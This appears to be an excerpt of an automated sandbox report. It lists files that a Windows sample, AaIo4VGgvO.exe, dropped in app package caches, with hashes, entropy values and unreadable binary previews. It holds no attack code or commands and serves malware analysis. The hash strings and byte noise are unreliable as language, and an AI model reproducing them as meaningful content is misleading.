File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977498317058787
Encrypted:	false
SSDEEP:	192:4+8ftt49d3B0x3kmGLcX0SEdimFCGWu2/ViWruFI7Q0B:4+ufiR0hkAmkGWuQVfuFI0Q
MD5:	57984CCABDCB2D13B410F2268842E376
SHA1:	4509C09BF8AE960A7CE3AC4C5F5D6257DACFF4A5
SHA-256:	4F5700D0F496270FD2DBB1380CF8082E2EF9B82EFD537ACFD8386F0090538BBE
SHA-512:	1E0B062F1B8153627CF15152111179266A3372D9F6F1BFA38543010FC9C676662A434562F613384340070862AD7220631CF0676012D70DE37499ADE143E2A516
Malicious:	false
Preview:	regf.m...M.....9...d.l..r.<.?[D.)...Z...v9..3.F.kV.F..1........yU.`...o".4.+.Z..I..eL...<...N4.wme....J...~].=..8...Y....;c.....n.#~.G.........=..L....X......9K.....U..qK.q%...}...p8Z.\Z#..........Dt+.....)....K.E.h[.i....Q.w.7.oE.#C..,....s...\..."^w".f:.".7...d......g...%@.!.....6.K6.s).,.../..j....81........".L.....b..,.H70gC3......n.0@i,p.p._.j..q..Q..z.S?.A.R.)l.}.l...)iB7t.[.r...6..[..i0,.Ef=..D.f.......e.@.LN..<......Yn.k...v.1......!.!s+X...K._.@...Oo:..v..^.......q.\|z..X.N...>.ui...#..F.\......6.N........CF..e~...z..@...6O..k.u..U....,.#". .....\|I....}.2#...}C.,...4......Z..Ao./3Q..v....4.K.2....`..>_.. ...O_FeK........a.H.B......x.(J.....-..i..>.3e....i.+.[.E...$s.q.nA.k.\|WOY..`e..U.o.'...j..-...,.E1g.:ZJ..7<.e.OB.....E.$..L....x..8......".j#a..{..L..Z.cmb.H.C...K.A...ED\.{..n...7.-Q......u(Q-..{..-$.J.wp^.....`.v.i5se.k.;}4`..g.WXo..rom..O(.d}..p.@+.ns.k..W...C[w7(.\@....S.h.......s_..a-...7?..v1.e........x\1K.C+X4:Y..4..u.T.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\UserClasses.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98012334767617
Encrypted:	false
SSDEEP:	192:sZkrV+HzM9gqWJ4xJ1gvx0bnZyxIJyeCyKPGF3Y:zgWgqWqJ9bZ+rnyH3Y
MD5:	1A35C83370688CBC5B3CE39E40DE5EFE
SHA1:	3A01B2A7186C21E286328A342CD497316FA89B93
SHA-256:	9D6B485B99003396D94121E0EF21292C718B3DF5575C824046E0353E1052C7C8
SHA-512:	8A76B59D60A825AAFC8FDE38B47B711CA2EE42CE23BD46AEC7F0D75E180930C2BB2A6615C3091DA72444F94D1A0AE974B33F1DE4F62A7A706C688901E22F4666
Malicious:	false
Preview:	regf..(.U..O...%..0%.b.......i.T.Zd.V.......<....h80.E{.....&..Y.v.....[(.........u..p..,.e...W]..l.1...$.+ko.y......E....ta..q..C..e}...w..lM^@..4....Lu.Z .\|.... .]..../.R...C....7y.....>.?...,p...n.:!........0....T^".!.o[/.\|,.......#.R/#.QQ.SD..j..:.......^6........4tY.b.....[..I...B....N)$...]C.9X...X.I.;..t.~\o$..jq..M.x..8.....B.@35o.D..F..tm.&..{^.(\|...1o..AE.../....._..a@..zH..Y......T4..... w....;......x....2&l........a"..+.gh$_..8rM.-^....y.F..'....T...uh....`..).....#....5.....0.,.!c.^Q3..$.&Vc...9.=.z6_".'.P...U.w...%9..s..M..Xw4..jy..n .<.....D.."...E.Xo2U....Er>....~.........%qDG.....d^...h.O5.lu.9d'..^.IA.....)..H:>..Ni..b.b?a..^h...N..Z..v.'.&aG..;H...4k.....2.J.S...7w...=..ub.OG.$....IB........4.e..h.......WJ.#\.0qDSjD)..y.T}.^!..>P,Vxi.e.w....^.h...Gi.)AW4..^..V9..... wU.y..._2R..q.K.N.z...K..<.s.L.%.....7.)...n..q.up..9....USU.;'`.UG8[.5.t+..%.J+rW..D......#....+o.E......$.A.Xe.?o..q...@.e\..(.. .4(....I.5.&..B...NC..rn

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3305453386118498
Encrypted:	false
SSDEEP:	3072:2AZy4KKD7JFsvLNDxtXyG0BqnEd7VqoGpCQw9LWOHBQodJWaJ0a3:FZy4dJaLNDPyG0BqnEdn1QKWIPX
MD5:	7816943F9F33B4616C0A8B8EEAC930E5
SHA1:	7BFB22081EAA0257D02B1017C0AEECD16408E582
SHA-256:	7FF82662C2D91730F3E757F7767AC60B10419A5BECB638C1FF64E2100002A3AC
SHA-512:	5157C4E8B7043165D2069A9D45AE691BFE60A40C9B4B76986F93E6CEEF39046E58A0D1BBAF8566AE62E9C47AEA765FA9F99C7EAA870153C1647E752D531F34FD
Malicious:	false
Preview:	..4t..X..d.p..a..)..>?"..g......T.f1.z...C.Z4.Ol..5WC..,n.#>.\|3.....fm..#..O..B.3. ..^..R.F....L.....<\..sf...c...D....[.....S..J8.....(..9.!e. ....f...YEV...>6.$."....E..t.g.QoIR.S...G..z$...kI._`/.=..+5......4p.. x....Y......~2.h.I...z.z..J.....cv...x.=.O.......5.lbk.Q...5eZ......+h.J.s<3;...L\B!......L..G.E{......w.F1.`.mk.Mo.W.PB..L.nu.3.Zonn..a...L.5+.lQ.....C..Z......{.z.4..[.1.\|.&.]r=F....=..t....Z,/.(wC...o}.2A.RO=......;?...[..W.E......w.pl.,.o..j.M..^..yH#.B..35..!p...^R..F.rj'o&o6K....'..L.xE.E.3Dc.m......T.Mx.F%."+Wj..y..h8t..[;Q}..SYN!..#.-...F" ..n.I..R.H..tlt....l.!T.....>.Z+.m...i....&9s...T.j"....>.......P&.(..+."......0.\|..\|...-.+`s.D5.....>+R?.t....7............Fk..n.r..'9.f"+....AK.....w4R.......2..}.:.t.#S.....?..P......F`.e;...-.n...U.-.t.c.0. ?I...).n..8.z..\|.\|.._....F).=R{.e.J.?v?.....%m...Z[a...T.Z.v..v.'..!..}.1.$.0......2...M.`.:."..h.I:..`U[.34.F..g`[..S7.....wn..~.cE=).N$.1.L.R.m2Q(.0'.q......c..e

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9890591137859746
Encrypted:	false
SSDEEP:	384:xoF+F2DO5FA7zDd9kTi9yXVYU1y28BmrN/VazFhLkdy8Jyx:AKmPjk+Ye6p8crN6BkTyx
MD5:	8CAE9CC6368264B90EF806BD48302C81
SHA1:	32725D0EFB26866A60BFC1A0BB38BA17B01F0C37
SHA-256:	D540A7E05EB97CC1ED8519B5E8D0D18209916B1B9234ADFD633FCA2F9ED273F6
SHA-512:	62C57C8504D5D85E85A193EC13DB92BDDC6329768B90673A3EA488794A82E5E69FC95194623ACFD5C839FB7374BBD3CBD7C42FA2B66C0F2ADC8DD3EAC9B22BC0
Malicious:	false
Preview:	..}..J./&&...........LX...scO7..u:......p.Z...%...1K...&P.....U.....]nW..@).....1.b).G..W...!......2N$g....i.....5ecY...........E~.).BX.N......P....p....@......`..KPL..b.8N......."6..^.;.....o.\|J.K......7.Q.^G.......f......q.S.BF.nQ.T~=.;.G.{.......l....xJ+.....}..].^..&..S...>..9Ql......._EH.S".e...,.o.0.i.us#.<r.Q.K.\...<9.f...\|. q1.e.....N.K...K....?7}.6..$.. ...>4.....7..!.._....`\..C..in.I ..D..2.V.P."....S+...Q,.p.M...'...u."...Q.-..y.\|..s.....L.D......d.p...-..#.<"J..".o...B...6......'T_5b.3.Q....#i)...'.........w.......b.e.....^..9B.^Q,<..zf..,....13...,5......J'...gu.. Fp.Y..X(&...:...!<......#c...D%.~...D........&o.m..D.w....'..(2..e..~.SfN.`.W...Bq..K.l.......t.#./"G.v.A.G..,...c...,I.U/2]....T...?..p.&X.y.&.Kw...Eu.7%Td..Y..b.'s....0.z..].(.h.....`.y1m.W..t.W.}."y...6.k..&.xYe..N4.;.[.g..x:.....\p.{..-Y..@.-7\>.2.d..n..a..4.....p8p...c..\|..U..NNno...Pf..5..t...\|.._4~.OCX...../H.G.....G......&......P..).G.N=.X..\|[..(

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.6dfb6b5d-10db-4868-b4ad-ef207a2dda1b.down_meta

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.87552873378295
Encrypted:	false
SSDEEP:	48:YmXVNstPjXSbengh926spQP2kMd117BsqY3SOD:Y2VytrsBo+2kMDsqyS2
MD5:	FAAD98AFB1F193F4DB442F642AFD26A2
SHA1:	2799C332087460BC369E898A36E4A1777809A305
SHA-256:	F3D4652FC7297D5E3C34E6F9773779C04302FA4EE89B62633FDD77E8507C380F
SHA-512:	4AA33B228F1C45524C89A137A7C110FB02447719EE44A6C5A23708D4DBF70A4A2D2D1E3ABC1982C5D751D5CC2957C4A5855B3592E8708DFF2EB664A46B2768A2
Malicious:	false
Preview:	h.t.t.lR.a.~Q3w....(....,.[.`.OS....H.T..auf...7(gY..S..A.....r......Il..J\|..L',..n\|M....r!sz..(.p.d..ciy.n.K..q.L}..<PF.NW.R~._..-.t.eW........]....f...]K.!.C....,.q.~....$.2,.r...V4.a:/znq....YlO..9.,r8..9X_..(M..2.?[.n..EKD.?...t..U.2.....p.......c.y..d\w.N`...[.9>..n.{..X...wpgm......HVAQ......`.A..'k...}~.9g..-.w..qL....^..+.....r...%.x.0......."...c.?..Tq{1w...q8...l...d.P.....1Q.i....b.Qr.k.....j^L..\|]..&..I..dB).-E.CK..4..~>z......[PE.)...DK...c.Uc....h......>....4z]...=...b6.. ....7.....7B.'v...Y. .s.o.x(......cL.R-.o..pT....y.G...8.....,...S..\|...Z>;.g......x..-..g..yL...'4.L~41.w......e..K..laO.....l.p.9Ek..Y.HR.W...aQ.............Z."..S;o..!...P...G_..=.YE~...j..\|.D.e..O59W..E.C....m.3..n(...{.#rzX......#......XN7..l.0....;.~....T........'FC.....u7/JF(!.....85......3.....a...#6c.'.......`MZ..GQN....lI[..C\|...l_...._.x.w..gE. Y..w.1X....R..+0,....[........!(..By...Lw..b.....cX.y.t.. 3./..6......PW.M.4..2.....E&..P.f..../...G

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\778a09af-71b3-49bb-83e6-36722d62514f.up_meta_secure

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	7.830771920144799
Encrypted:	false
SSDEEP:	24:SO4/AsWsxMAJWC2hz7zY/OJOhmtJTxwmHaC/1v6VQrbD:CPWyMvC29zHOh9mHaC6ID
MD5:	3F476BA5046AFD5FCC7713224F2C2CBC
SHA1:	C41F22753EFAA9A02CB4436C14BAA1F31CE80ADB
SHA-256:	10371D774492394C00138DCACBEDB4A60E334E791BFB14EB88194B386F6FA66B
SHA-512:	FF91E4926AA11C5532C4258473D3BA85AC46BF7193F14886CA885BA420163FF11F48282175F7C438E3AE37FB9F84D4920E9D76A3620336947ED40F20DBEB07CF
Malicious:	false
Preview:	.......Z.F..d......ub..52.U6w_v.\....{..~z.]7{.z+...I...5.q.bU..7A.....i.u......."b..X.....)h.yf..>..v...S6..-...4.c.6.F3....lTB..c..F.g.Kj...p..f.....I`.X`...B=...8......'.`W.C.8.dm.L>g.%......h...O...ud.1.!.....+...HW$.5...D...{.H9}.m2...i.."...h.Y. 6..#..[:...r.:.-.!.%\|.._oM..........f...C..vE.(mO..YJt.xk.....!.n?....K.^..1..7./;&....V9!.kDakT%..... .2...z.J............M.....B....V..Uw..........(.D.\../.\|...\|&..k...7.....`@.lH.:6...r.k~..q[.r...^.Jep....... ..KDD.O..C/.b&..\|\|...a....................A...Wi..S.... ..$..5...T.F..Y.....?.b...@\.D...T.z....I...#.k....,2....a.3..........kz.d..$q.Z.hQ..\..v....<d...b.....D."o.azp.E..,.Ml5......rj.../..V...Ngf....p..P.hG.g.zgw.(..'...W..j...."ZU.u..s....d.....y{.'4..eX.g!..Rw:.j....g......F<..,.,....$.~Y.1......[.T.by2g..'Jmt..^OM.....Y...[............C....Q.6hU...@..+..^......i...]N.vWz....j}.....F..#.z....1.Q....Y-M...D..J..5{q.....8.;.~...]N..;X........q....[...K.e.<..a...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\TokenBroker\Cache\e71e1300703d5395820e448840a760f0dd25ad50.tbres

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3084
Entropy (8bit):	7.92998543467507
Encrypted:	false
SSDEEP:	48:SCV9jHc0jGVoqq4k/EB4h+T5Uhav07geSGXOqpMuXP4QQ6rPQ0Ans+f17UEoIlD:Sq16Wp/jhLhM07ghOzpZBQ6DPARf1ADU
MD5:	D2F2A04515627C6452487646468D75FB
SHA1:	F20B62A50D1CC4737D9BD0EBE1FBE20D0BBE60C8
SHA-256:	8635C05A4A12C107E95113EAE771FC3818F2FC44D976F508908D4AC97AF4608B
SHA-512:	08E6CCCDD6E6B196FB6803FFDA0D55E5839FCF063A2591B9E62086843CB91C9CB0CD84077A620BCF631B78AC02036BB80B916D59F6FF1567963DB3C2D7F7AC61
Malicious:	false
Preview:	{.".T:..\|$FT.zqA..r.25.0xC.'..k..e.1!..../$..............U..j.y.6Od\|z..)w].ce.f"rV.......&j.~..E...Dc.Bjq[..F.jM.~ T.kL.p .e.7.......r$....&.... .VGB...l.2.5%.K..{9.$...2....)8. .wR.\...Y.-(8..Fmu.\f1).-.$.DTkEPDd..^b....$M.'1V/..z..u.j...../..=/U..<.}.{..710.....$h.....W".y!u.S...W..9....;...3.ec+.2p9(q......b. #.3...$iw....J_L...R...l........g.....k.!b:...8.-:XgTu9.jp...;....X.L..n.d..u#....,.(.+.NB.08....Eww..-.8.f.....m.4..7.R...J.jc..tv7G.t...(..U.=S2b..s....W...b..2.n....zz/V]....0!G_..xm...0......:.....;..C2.LL..uR..q..S....t. ..A...Ys.QP1.p,...k....i...._.....Dg..Hh.$8....U=."X~..e..30.^..eiU.J.P.l.=.y*.T..9........c.k.NW....8ky...[I....(. ..?u.{$.G...rP`.Z...7..9=...N....o..k......R9...8.A..>..T.7.l_R...w....;2J..._...1...X54..CIt.....X.8...z.B/.0`$"..8..PW...U..bZ>.p.........p..3.!.9D13..h.......k....!?h.`....J..oz.=vV/............."g.V.........E.\=.x.Gh.Z.....%KW..T.6.0].V....?....V!\|E^..j>3....`..T...v..5..E....X\...5=?.K

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\95d9a2a97a42f02325559b453ba7f8fe839baa18.tbres

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.942656018705563
Encrypted:	false
SSDEEP:	48:BZfsbmNULnoZKoyfYgWokKKMbarTZwNgJ5M4RemwuxdvXngvRqJjiceCGcxR2cqX:BJcmNULKryf6/Mb8TZw6J5Ml+vn8DCG7
MD5:	EDC337C32FBA1676C321C32F5BE21E62
SHA1:	4B22005096F84BDC6B5EC5D38593C3CD1B087A08
SHA-256:	C461EDCB8633E9A3105A4BF0794623D54D5785C6B050BBA28D4B534EBCE37AE6
SHA-512:	26E53B5C5389A734926FCF6DB4731FDB9EB7FA9D510D3C5E1CF453DEE19C66319C0C77EEF1974B3CA502271E0E52857C1612220D8DC9A526036E80911264A831
Malicious:	false
Preview:	{.".T.n...@..f.....:aB.t.8..........._6..M.......+..#...H....J.k...v...:..J.b..\...<x..W.......c.~....[m.jA..I...4B.^.Jza..\.WBK...x..q....m.{....rtN[.h....Zwmt. ........lub=....3.........5..h.....z.u..n%M.......h\_Xw..J...f.A<.....g..(.=.......>k.1r!..Jr..k...u......'m.Z..7Z..!..]..K.W....).C..v......%.vO../.=._m..y..+?.....2....g8....vO\|.Cf..,~BZ...S...n....i.B.\.......?......~.....L......[V...k.&......m.... ..0....7..ZM...&.~D.....5~......u..y...<..Ix;.P...e..\@.e<?r.VK....a..V..9)x.v\......Qc.. .`i.:[.2.C....n..sI;j,:e7....g.}/.....1%.H.'.-:.#T..R...Z!...p...1.....f.".n..s9n.}.H./.s......).....vrl...v]u7Hf...[....q.@.Te.%.7.7A.a]..!.7..b-............2.....E.. 8..qQc.P.-.H;L...1..jK.%..$...we.&}.?F..jiI.....q.).~..%.{.&:..(/.iK...j..]..qT.x...bM..F.qF%c.R....o...#...,6./w...0..n.*..w...2.rH.l...2....:..6.5....sQ.M!+.....r.........m%..i...h...q....>.J.]x...c.v@..m......?.C....$.........^.y@z...no\f...GE...svk..?....g.w..`.3.$q.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\TokenBroker\Cache\fbaf94e759052658216786bfbabcdced1b67a5c2.tbres

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9394639032597585
Encrypted:	false
SSDEEP:	48:vfMXOgh6aDnOL5FLQ6V0TEf+en2BfxuOwVJbBMu0oH+weUykeeigD:vfeOy6aalFLVpf+ndxzwau0e+DUyktn
MD5:	FDCB82A04B38052341CE78640E7565D3
SHA1:	C2C88E505822E606F5E0A255F770174BDCBA0267
SHA-256:	8D055D9389E84F437AD8E4E3565BAF1E935DF85A2A3C298EF51C623D9CA7B05B
SHA-512:	A10D1C4C9295F68E0938EC42D1BADD9FEFDE794E1DE3EBBEAC03FF0F66EF1C2510E9E3E74B6A77DE06FAA1FAF9957534FF56AC7E5248BB427AF48814490E7F70
Malicious:	false
Preview:	{.".T.29].....\(..R\|...!\....3..=.N.......t.?1].gD.@.Z$...p.x...a(...g........67.%[P..R+...G..W.. /d[.)joE.9..R....z.....C."B......].^.(.7m..h.....I.7...vu.v(@iH._...]R.(....J.."..&.x..`b....!...6.1.P!.i..o..-Tco...R;C.`.hp.+..W..-...'(f...Gl...."Kr.8.u.gD.....Y.Ljf.F...x.0._..5Xz....oD.M...&"..+)..jDn.8.\.w=..i..>....c...?.o..J...*....J[...\.!.......13..M0..}U..~.oj7.i.r..CG....#.,%........m...).[,h....me.l......k....=..)....?.p..O.L\|.fe./.0...E+Xh{aF..#.......a...\|....f5.W.c.\\p..M.....E.6.]vb....>._Iz.So..9.m..%.W....a.H.#......A....@......?../k.I......2...o..~..V..........l.$.@...K....=..h.........bmW.UHj..!3.v/.N....^h#.....'j.......<x.......V&6..>+...$...7j]z-...W.....M.x.f@.^.. ..."....D9Ux..G...K5..iXi!..UF4....]....nP&..Uf...sqn..L"...`.FI.m...'.MS..B.../....kd-.F........#..e...,.Z].....-.tP.%.....A.G.........@...k..A...#..9.,..C......N..+.j....x..uhv;.].<..a.L...#Ma....~..Y..t..'n..q.T.ns..-...6..S...U.i.!.mj..[ $z..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3189135879832365
Encrypted:	false
SSDEEP:	3072:g3PKHSwWF0RLpED3d24sIrOR/PtBp4n6kklHRgIGtMtc/6HaPaZZ:LHE0RLp4zrevptkUgIk0W6
MD5:	5FD76E46EE9AF59C0847C3309E360FA4
SHA1:	598AF9CEE7092314908ACC5F96F914B932270065
SHA-256:	CF4A8EC1C6798E3DB5EDFB519597BA4B570D017398ECDA86E489A555C8E2BA03
SHA-512:	A61DCCAA5481EAD04593F95DDB18B78E964BDE4352FF1CB30B65919AC8489D4D7F90E7FD53CB3A5DCA265C9DE962046DF1F8C89A0E6E4D3317A9B582EE8E032E
Malicious:	false
Preview:	./...x..(T.....%.......H{r..(od.M....w.v.\&h;..e.&..(Y.....s.;..>.qC`...g..../,....wW..Vv.E.B.y..u. =K..hw....P..S...t..CCi.........r.Uc..i.....bP..L.c.....k......}}pt.....1I...&+..4.z...bt.4Zn~..\|;..5.d.'.p/}.g.......l.........D[U....-......bF..&.MP.......'....y.C...O.....{....t....P`m..7...'p..t..G........03......?. n.S.Z.......J=G~.o ..w.C........~.... ....=.P..lh.._..R.j........a..X`..U..3s..=..&.K..ag......L1.Y.K-....1.r...M..D..%..q....?.....,.D.^4(+...K-..O..L..`.[....O^nSo.....i!...$.t..Y.4l...o..~Q.M..A..o.s..3....s...cbP.A...(.(.._.R..@eh...!;O..D...K.Y..b`....X..#.f.6u_#d...{0&.z... ...).............V."(=&........CM....u....E.....^n...o.......%.xAD.3.g..-_.%.Jd...&....:.".f8..j...L...(.B8.Ox.#o_...l..G&W...Hf.B....]2.+.Us.r.P.._...[Q.M...$.S.uJ.........._.b.R...v..\|R%...iI.......]........ ..A._.Y..s.g....*.WM^j.....,.P.].e/...].e<.....l-z..5g....'.#.....,CR&\x.....)7.A.Q.Ih.5.{..d........$.,..i..B...r..H!..X

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.986684493931535
Encrypted:	false
SSDEEP:	384:o9xcfe2vngmj/S+DjsCZFU/rBtMTnqkN9kyvUCQCCqG8nlsCgyiBzF2vzac:lf7gmj/Lj7F+r+LQAlDqlPc
MD5:	7CB4DCB1CE47118F8784EFDA1869230A
SHA1:	852572DC0822CD289252772849A98372F12AEB10
SHA-256:	349C28948F7FBC20257E6AD2E5F2E804E330279BC5E640885472BC6CE0685F20
SHA-512:	ADD68B95A9978ADFA7A7AE09D093DD03080CEB105AC8798C2F1B3845BF4DE5CBA963523F11DFE8FEF7E3B0538E9F14BBCE865959910F36ECF2B7E285F7FE47C5
Malicious:	false
Preview:	@.v...A.6)g.w.p........[..(.$...`..'.3.;....h..V.....a.?.E....4.T.....TO Zc[.e...-..>...?....%.....Z....x....3N.+O>.(......E.6. ..d=.;.(..??w.!M../.u...(........2>....F.....\|J;j`.A!1.t.avf.d...H{.F_.z.%..,........T.^^....M.%1E.=...<.....c,..~..$[.i.........c.....8.k[...g."....h..\P..@..8..E9..tU....I,4.o..Kg..f..A..]................d.JN.......F.U/e..]..6..(.]..../....A...7 WK.]....w..l.R..P+.Gmy.=....q..kyl..f^.`......K...z((.aGV2(X.A...E...t2....A...#g/.).xs...I..oF8[.].Y<..9.M..@./.S.A+...lO......(.;.Z....z2a$.'........q.P..{EA...M.6.&.3..6..]..$I.....(..m%.I.}lh......Z.z"a..FL............b[.0].....^.FGEQ...\9.^.+.6+.R.... ....T......B.7.B.E..A.X.,W6...m..h...G~..bN3K....w..}.@.....[.a..NG .....!.G.D.E.m .:(..}\|.Xt.K.P*..1!....//.O....l.CJDBs9...5e.......6M!.~......!.cY.a...a8..8.c.z....<.pm..n.....p.x..{...A.5..W...x'.@....(.X...&z...l.&T...H....7v...Z...aci..a....."g#.Y.....d..O.6........rD..y.).J.?`...P.]x.OZ...N...q..l...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2097486
Entropy (8bit):	1.1132631800765647
Encrypted:	false
SSDEEP:	6144:AucnRuikMvMvgUe4ztwc7uHUrHJZx0osm:AjFHvKc4zt5iH8Z6Q
MD5:	B60C4D7883904F8137B88C7C293722D0
SHA1:	B5A3856CA30501BA7032EDBAF892611E3467BD03
SHA-256:	4DDE8EBDB47E1A57D1960FB0EBEDAF64B962C96D25632CC2D217D5031276991F
SHA-512:	D60A6604227EECFC133F2292F327894DD2542319D55D806934FC80C5A072BA64F1F6E82C5FB18C9F829F6832D1B578566AE74CD5ACD1F1D697CB119FE5F96D51
Malicious:	false
Preview:	......)}....M.?..4.......P.>....3..N...: ......4.W.....Ee!h@....\c,...g\|8..b..N`B.i.P].b....ta....$.O.u`.E.3.q..dT.F0WX#]..7u.../..Ib..b.v...r.....}.}u._....a..cZ2.ip....6......ID....8...P.=...?2..5G.....9..1. .......H..6......R.J.Wb..^(....v.l.;3$.....;........%..lL.!3vT...>..........!;.2.\KHF...h.......<...#.je.-<X..K.9D.....t>.........G:.rz..b.W..C.a2.\.Xj2$.J...\|P.s.%..Y=q;..&.@.....[e0..c......9.(..X....s@.8Z..{k..3..e..F....8f..d.+.>=.!..........Ph..t..@r......W..}.......`......i.0.....8.D....m...j...?.....Z..A.K...&....c.i36.........U..k.(#.rPF.g6.q..m..O.\|$..'..E'..fj>p...R....N.pF..9.............K7.Hg....y...w.2.^D.....0./..h.'=.Mf-C...v..T.B4neF..a..bj.x......<\|.R....G......v..V..2Cj.0=....".H..~..\....V'.3.A(Q..........5qI@..<6#&..d..x7..{..G..!.1.%6..O.\|....>w.&+u.,..p-`.m.k.r.....h8.RC].GC..../......^...!.&.b.qs.\|...T.a..+.....-XBq...ij.\..v..W.^_.o.6.i.vQ.......&.}.]..!q.$.Q&%.....Z..c.T...e.Q...?..W.p..... }....}h..zI.ka....N.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.jfm

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.986690881259522
Encrypted:	false
SSDEEP:	384:DX7zcUBCW+vUgBDAC86tMYdkDrDyFWSYkHZ7mPRyUaxNDfPQ85VS:DcUBCXPxM4kDmWJk57GRyUCDfP1nS
MD5:	BEF2AD461D3A4C09DDC98BBFDBB9A8A1
SHA1:	665F74D572109BB22127495D12B02B320949D357
SHA-256:	CD312ED0F1B5AD8331D5A474E63242C32F806A209BCAED5C0DA91ED7186FEB31
SHA-512:	22829924D70926D3AC0CF0876020C904993CE25BB30CD8724432C25B08D042A8E8FCC48A2DE496E23760214FFCC6E5EAEEE8AE203EF4E9AAAA6CA682A1102B66
Malicious:	false
Preview:	..l....g....._C5...Bu..5..#k.-m.<.T.&.../.:......{.../......`....F.AW.`.m...f...)9.`.9s}....b..-f....n.v.Ao......B[.m.B.z....C...........N-v\.\|.Ec.v...^.I.v:f -.LV...I...b.x.9]..6{h...0....N!dB.X.....Q....Q..Z...X'....C.?...].....i.E.....Z.x3..........~L.q9..A.....<NI.T/dWm.-..k8........hM.&../$.-a.Mw..2.pT...,....m..'.%....x...0...v%.6....^T...M...a.0.\|..,....Ak..?-.;)..l.A{.-...!.E.%.F.on.4R.j..B.\.\ D..YGJb....rc.x.....$......b..Hg3\h.(]..^.....$.......:.x..D.&r..Q:....A..V..K.N......V..s.GP.A....uy.\.CLz~9.E.=B..H~.X..`.....P>...6g.,......F....lF.5.........O7.x.Nj.,4._.C....Ubp...u=.....c.........4 >..k..y...O..k,3..Zw.....5(.P...K3s.....1.U%....O...o..^......R.Qcd...Uy=d.....d..F.^.pQXj.(...5.o..?.\|.G.8^.\|..*5.E...l...N%Q..pd..t...x.x....bV;.....Bb..LW...8...9..........L+c).w.;aj..'&@..OReZ=.a.\.e.fR.c......o7....`.O.=.-F..=...6#z..d.....Fg...D.:.O....~.o991@....i.fK..O.=.A.f.B..i.....'.\|.u..tN...oJ..j.E.!.....Fw...%$..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb.chk

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976929741247153
Encrypted:	false
SSDEEP:	192:Siou7gnGUc0PeGg4cbXzZfoGhniq2wWvmanNIW8qQ7PW:Sfu7gn8zZfoGN2iaNIW47PW
MD5:	76C3A0A6153835800F1D29BE32339C25
SHA1:	3E39A7FDDBC342C17E0B6593AC261539F52D87AF
SHA-256:	DDE42BE5B8EC73D4106C61F575970736ECAC1AE92238BEB2A9153490120A0AFA
SHA-512:	8CEFDBF6F3046FBA7A906073E5F4190719F4C510CB6257740774F4E55733625187241860070846562CA9B029A567AEDFC6C9D2175F5E8E3C410F59B265C99E65
Malicious:	false
